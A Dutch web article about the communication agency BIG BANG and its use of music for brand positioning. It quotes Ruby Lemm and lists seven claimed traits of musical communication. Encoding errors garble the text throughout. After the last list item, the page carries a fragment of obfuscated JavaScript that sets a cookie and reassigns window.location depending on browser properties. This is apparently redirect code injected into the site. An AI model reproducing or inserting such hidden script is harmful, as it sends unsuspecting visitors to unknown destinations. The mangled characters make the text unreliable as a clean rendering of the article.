MUSIC


NEWSLETTER

SIGN IN FEED YOUR EMOTIONS
CLOSE

SUBSCRIBE

Newsletter

NEDERLAND IS TOE AAN MUZIKALE COMMUNICATIE

NEDERLAND IS TOE AAN MUZIKALE COMMUNICATIE

BIG BANG gebruikt muziek voor merkpositionering

In de Verenigde Staten kun je afstuderen in het vak ai???musical communicationai??i??. Er zijn zelfs congressen over de impact van muziek op emoties. In Nederland staat de discipline nog in de kinderschoenen. Het nieuwe communicatiebureau BIG BANG, gaat hier verandering in brengen. Het bureau zet in op muzikale communicatie en gebruikt muziek voor merkpositionering.

ai???Mensen hebben in het constant veranderend digitaal tijdperk behoefte aan de menselijke maat. Niet de klant maar de mens staat centraal. Het is tijd voor een brede visie op communicatie die alle aspecten van muziek- vanaf de oorsprong van muzieknotatie tot en met de effecten en beA?nvloeding van muziek op ons gedrag meeweegt. Muzikale communicatie brengt met belangrijke inzichten vanuit muziek, psychologie Ai??n communicatie de magie terug in ons vak. Het oor krijgt de hoofdrol in communicatie in plaats van een bijrolai???, aldus Ruby Lemm.

Muziek als bron
BIG BANG gebruikt muziek als bron voor de positionering van merken. In luistersessies met klant en consument koppelt het merken aan emoties. ai???We creAi??ren de basis voor de unieke merkidentiteit: een muzikaal domein met bijbehorende visuele identiteitai???, zegt Lemm. ai???Muziek is ons meest fundamentele communicatiekanaal. Het beA?nvloedt direct ons denken en zelfs ons (koop)gedrag, vaak zonder dat we er ons bewust van zijn.ai??? De consument wil emotioneel geraakt worden. Muziek is daarbij de sterkste communicatievorm om mensen dieper en langduriger te raken.

Sterk bindmiddel
Muzikale communicatie maakt merken niet alleen krachtiger door zich scherper te profileren, maar ook gebruikt kan worden als bindmiddel om intern de sociale cohesie tussen medewerkers te versterken. ai???Wij zijn nu bijvoorbeeld aan de slag voor een klant waarbij we muziek letterlijk als ai???Living the Brandai??i?? communicatievehikel inzetten. En voor een ander merk creAi??ren we nieuwe kansen met muziek op alle touchpoints in de customer journey. Daarnaast onderzoeken we samen met VU Amsterdam de economische meerwaarde van muzikale communicatie voor een merk. Het begint allemaal bij heel goed luisteren, dan zijn de mogelijkheden en toepassingen letterlijk onbegrensdai???.

7 kenmerken van muzikale communicatie
Muziek is emotie.
Muziek beA?nvloedt direct het denken, voelen en doen. Muziek brengt de consument in stemmingen en zet aan tot koopgedrag.
Muziek in communicatie bepaalt de waarneming; hoe er naar beeld gekeken wordt. Congruent gebruik versterkt de visuele impact met factor 12. Blijkt uit Brits onderzoek.
Het muzikale geheugen blijft bij mensen langer intact dan het niet-muzikale geheugen.
Met een eigen muzikale identiteit verwerven merken hun ai???eigen herkenbare muzikaal domeinai??i??.
Muzikale communicatie geeft identiteit aan merken en aan de groepsidentiteit.
Muziek versterkt sociale cohesie en is daarom een krachtig intern communicatie instrument. 0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}